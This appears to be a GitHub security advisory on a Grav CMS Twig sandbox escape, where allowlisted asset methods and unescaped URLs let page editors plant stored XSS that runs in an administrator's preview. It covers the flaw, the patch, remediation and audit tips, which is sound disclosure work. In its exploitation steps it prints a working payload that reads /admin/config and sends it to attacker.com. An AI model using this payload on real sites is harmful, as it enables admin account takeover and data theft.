GHSA-8HGV-XC77-JMCR: Privilege Escalation to Super-Admin via Twig Sandbox Escape and Stored XSS in Grav CMS Assets

Grav CMS is a flat-file content management system that employs a Twig-based template engine to parse page content. To ensure that content editors with draft or page editing capabilities cannot run arbitrary server-side code or access restricted system configurations, Grav routes template rendering through a Twig sandbox. This sandbox restricts the execution of dangerous classes, methods, and properties.

However, a design flaw exists in the default sandbox configuration. The sandbox allowlisted execution privileges on the Grav\Common\Assets class, specifically allowing page editors to invoke the addCss and addJs methods. These methods add resources dynamically to the global queue before rendering the final HTML page.

Because the Twig sandbox only restricted the invocation of methods but did not validate the contents of the arguments passed, page editors could supply arbitrary URLs containing payload attributes. Because these registrations mutate the global state of the shared asset service, they bypass safe HTML parsing filters executed during the page-save phase, leading directly to execution contexts at rendering time.

The underlying security issue is caused by two architectural flaws acting in concert. The first flaw is a permissive configuration setting located in the sandbox initialization file system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php. The system configuration default allowlisted the methods __tostring, addcss, and addjs on the Grav\Common\Assets class.

This configuration allowed any page editor with permissions to write or modify markdown pages containing Twig blocks to invoke the asset queuing system. The second flaw is located within the core asset compilation engine. When Grav constructs the HTML output for queued assets, it performs string concatenation rather than utilizing a programmatic DOM or structured attribute-binding API.

Specifically, when rendering a JavaScript asset, the engine wraps the supplied URL string in double-quote characters. If an attacker injects a double-quote character inside the URL string, they can close the src attribute context prematurely. The browser interprets any subsequent strings as independent, active attributes on the <script> tag, such as event handlers (e.g., onload or onerror).

To understand the vulnerability, consider the original asset generation mechanism in system/src/Grav/Common/Assets/Js.php prior to version 2.0.20:

// Vulnerable render mechanism in Js.php
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . $this->integrityHash($this->asset) . "></script>\n";

Because $this->asset is injected verbatim into the source string, any user-supplied double-quote character causes an early termination of the src attribute. This permits the insertion of malicious payloads.

The official patch in commit a4e8c4b748eb338ee7ab1dd26e7620a93bade047 resolves the bug at both points of failure. In SandboxDefaults.php, the permissive methods were removed:

-            ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring, addcss, addjs'],
+            // addcss/addjs are deliberately NOT allowlisted: the sandbox arbitrates
+            // the call, not its downstream effect. Both mutate the shared Assets
+            // service and the theme then emits the registration as a <script src>/
+            // <link href> in the page head, which the save-time XSS scan cannot see.
+            // A site that truly needs them can re-add via allowed_methods.
+            ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring'],

Additionally, a new neutralization sink was introduced within the shared utility traits (system/src/Grav/Common/Assets/Traits/AssetUtilsTrait.php) to sanitize character strings:

    /**
     * Neutralise the attribute-breakout characters in an asset URL.
     */
    protected function escapeAssetUrl($url)
    {
        return str_replace(
            ['"', "'", '<', '>'],
            ['&quot;', '&#39;', '&lt;', '&gt;'],
            (string) $url
        );
    }

All subsequent asset render pipelines were updated to pass $this->asset through escapeAssetUrl() to ensure that the attribute context cannot be broken.

To execute this attack, an attacker requires a standard user account with page editing permissions. First, the attacker creates a new page or edits an existing one, ensuring that Twig processing is explicitly enabled in the frontmatter configuration (process: twig: true).

Second, the attacker inputs a Twig expression that calls the asset management object with a crafted URL. This URL is structured to close the src attribute and append a malicious payload inside an active handler:

{{ assets.addJs('https://attacker.com/malicious.js" onload="fetch(\'/admin/config\').then(r=>r.text()).then(d=>fetch(\'https://attacker.com/exfil?data=\' + btoa(d)))') }}

When a super-administrator previews this page inside the administrator portal, the page is rendered within an iframe sharing the administrative panel's origin. The application processes the Twig call and renders the following HTML tag inside the document head:

<script src="https://attacker.com/malicious.js" onload="fetch('/admin/config').then(r=>r.text()).then(d=>fetch('https://attacker.com/exfil?data=' + btoa(d)))" ...></script>

When the administrator's browser parses this script tag, it triggers the inline onload event handler. The execution of this script occurs within the authenticated session context of the administrator, allowing the attacker to access local storage, steal active JSON Web Tokens (JWTs), or perform privileged background requests.

The impact of this vulnerability is critical. Although it requires standard editor authentication to inject the payload, it changes the execution scope (S:C) and compromises administrative interfaces. Because Grav CMS displays page previews directly within the dashboard to allow administrators to review content changes, the attack executes transparently during regular operations.

Once the arbitrary script executes under the context of an administrator, the attacker can hijack the administrative session. This leads to complete access to administrative APIs, including the ability to read system configuration parameters, access database settings, exfiltrate sensitive files, or create additional administrative users.

In scenarios where the system configuration allows system commands or shell execution via plugin panels, this vulnerability can be leveraged as an initial stage to achieve remote code execution (RCE) on the underlying server. No specific non-default configuration is required to render the application vulnerable.

Remediation requires updating the core installation of Grav CMS to version 2.0.20 or later. This release updates the default sandbox configurations and applies strict asset attribute escaping.

To identify potential exploitation attempts, administrators should audit existing markdown content files (user/pages) for unauthorized or suspicious Twig syntax utilizing asset management arrays. Look for direct references to the following structures:

• assets.addJs
• assets.addCss
• assets.add

If upgrading immediately is not possible, the threat can be mitigated by disabling these methods manually. Open system/config/security.yaml (or the local override user/config/security.yaml) and verify that the security.twig_sandbox.allowed_methods directive does not allow addjs, addcss, or other asset modification calls for the Grav\Common\Assets class.